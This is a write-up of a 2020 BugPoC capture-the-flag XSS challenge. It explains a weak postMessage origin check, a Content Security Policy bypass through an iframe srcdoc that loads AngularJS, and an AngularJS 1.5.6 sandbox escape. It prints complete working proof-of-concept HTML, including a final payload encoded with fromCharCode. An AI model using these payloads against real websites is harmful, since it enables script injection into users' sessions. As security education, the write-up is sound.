BugPoC XSS Challenge write-up

4 years ago 655
BOOK THIS SPACE FOR AD
ARTICLE AD

Mikhail Nabiullin

This is a write-up of BugPoC XSS Challenge, which started on August 8th, 2020 and ended on August 11th, 2020. It is about misconfigured Postmessage receiver and Content Security Policy bypass via AngularJS sandbox escaping.

Firstly, despite of my hours spent looking for a solution, I would like to thank BugPoC for the experience and fun I got.

Well, let’s take a look at the rules of the game:

Rules:

You must pop an alert(domain) showing calc.buggywebsite.comYou must bypass CSPIt must be reproducible using the latest version of ChromeYou must provide a working proof-of-concept on bugpoc.com

I can divide the exploitation into three steps:

Postmessage event origin check bypassContent Security Policy bypassUsing toString() method to avoid resctricted and &

1. Postmessage event origin check bypass

On the website you see a Calc application.

Image for post

Image for post

After quickly looking under the hood, it is clear that calculation is processed in AngularJS module and rendered in iframe using Cross Domain Messaging (PostMessage).

<iframe name="theiframe" style="height:65px;width:100%; left:-100px; margin-top:-05px;margin-bottom:-30px;" frameBorder="0" src="frame.html"></iframe>

The frame.html content:

<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' 'self'; object-src 'none'">
<link href='https://fonts.googleapis.com/css?family=Ubuntu:400,700' rel='stylesheet' type='text/css'>
<script src="frame.js"></script>
<style>
html {
clear: both;
font-family: digital;
font-size: 24px;
text-align: right;
letter-spacing: 5px;
font-family: 'Ubuntu', sans-serif;
overflow: hidden;
}
</style>
<title></title>
</head>
<body>
0
</body>
</html>

Here you see that frame.js with the following content is loaded:

window.addEventListener("message", receiveMessage, false);function receiveMessage(event) {// verify sender is trusted
if (!/^http:\/\/calc.buggywebsite.com/.test(event.origin)) {
return
}

// display message
msg = event.data;
if (msg == 'off') {
document.body.style.color = '#95A799';
} else if (msg == 'on') {
document.body.style.color = 'black';
} else if (!msg.includes("'") && !msg.includes("&")) {
document.body.innerHTML=msg;
}
}

In the script there is a condition that checks event origin, but the regular expression is weak (the . character is not escaped and there is no $ at the end of the domain name). To bypass this check, you can use your own subdomain containing calc.buggywebsite.com or register a new domain, e.g. calcxbuggywebsite.com.

A message event is added to iframe using innerHTML. Thus, you can inject any malicious html with some restrictions of ‘ and & characters. Also, remember that the innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. So, try to inject <img src=x onerror=alert()> payload.

Initially, you have to create a malicious HTML-page (PoC) that will open the vulnerable page in an iframe and postMessage to the iframe.

<html>
<body>
<iframe id='myiframe' onload="hack()" src='http://calc.buggywebsite.com/frame.html' width="500" height="500"></iframe>
<script>
function hack() {
setTimeout(function() {
var ifr = window.frames.myiframe;
ifr.contentWindow.postMessage('<img src=x onerror=alert()>', '*');
}, 1000);
}
</script>
</body>
</html>

For demonstrating, I use BugPoC Frontend, which perfectly tests this vulnerability by allowing you to create a custom URL with any required subdomain (I used calcxbuggywebsitexcom.web.bugpoc.ninja) and also has a PoC Wizard for PostMessage attack. Now, host this page on the BugPoC Frontend Wizard and click Test.

Image for post

Image for post

But you came across an obstacle. You have to bypass Content Security Policy (CSP) on the frame.html page, as mentioned in the rules.

Image for post

Image for post


2. CSP Bypass

The frame.html page contains Content Security Policy directives in meta tag:

<meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' 'self'; object-src 'none'">

The policy is made up of two directives separated with a semicolon ;.

script-src directive specifies valid sources for JavaScript.

object-src directive specifies valid sources for the <object>, <embed>, and <applet> elements.

All directives ending with -src support similar values known as a source list.

‘none’ prevents loading resources from any source

‘unsafe-eval’ allows unsafe dynamic code evaluation such as JavaScript eval()

‘self’ allows loading resources from the same origin (same scheme, host and port).

Thus, unfortunately, you cannot use inline and remote scripts.

Since the website has an angular.min.js script, this suggest loading it to the iframe for furthter using. But how to manage it?

After some googling and chatting with folks, I found this way:

<iframe srcdoc="<script/src=angular.min.js></script>"></iframe>

srcdoc attribute specifies an inline HTML to embed, overriding the src attribute.

The PoC will look like:

<html>
<body>
<iframe id='myiframe' onload="hack()" src='http://calc.buggywebsite.com/frame.html' width="500" height="500"></iframe>
<script>
function hack() {
setTimeout(function() {
var ifr = window.frames.myiframe;
ifr.contentWindow.postMessage('<iframe srcdoc="<script/src=angular.min.js><\/script>"></iframe>', '*');
}, 1000);
}
</script>
</body>
</html>

And it works, angular.min.js is loaded!

Image for post

Image for post

Okay, we found a way to load the angular.min.js. What else?

The application uses AngularJS 1.5.6. Thus, you have to find a working PoC for sandbox escaping in this version. Thanks to Portswigger’s XSS cheat sheet, you have the following:

Image for post

Image for post


3. Using toString() method to avoid resctricted ` and &

However, as mentioned above, ‘ and & characters cannot be used. Fortunately, you can use toString() and String.fromCharCode() methods. So by replacing strings this way, the final PoC looks like this:

<html>
<body>
<iframe id='myiframe' onload="hack()" src='http://calc.buggywebsite.com/frame.html' width="500" height="500"></iframe>
<script>
function hack() {
setTimeout(function() {
var ifr = window.frames.myiframe;
ifr.contentWindow.postMessage('<iframe srcdoc="<script src=angular.min.js><\/script><div ng-app>{{x={y:toString().constructor.fromCharCode(0).constructor.prototype};x[toString().constructor.fromCharCode(121)].charAt=[].join;$eval(toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41));}}</div>"></iframe>', '*');
}, 1000);
}
</script>
</body>
</html>

Past this PoC to the BugPoC Frontend and click Test again.

Image for post

Image for post

Yeah! Finally, you fulfilled all but the last rule.

Now, just click Publish on the BugPoC Frontend Wizard and enjoy your working PoC.

You can check my one here https://bugpoc.com/poc#bp-gTfN5bdG.

BugPoC ID: bp-gTfN5bdG

Password:WispYPLUm97

Thanks for your attention!

Read Entire Article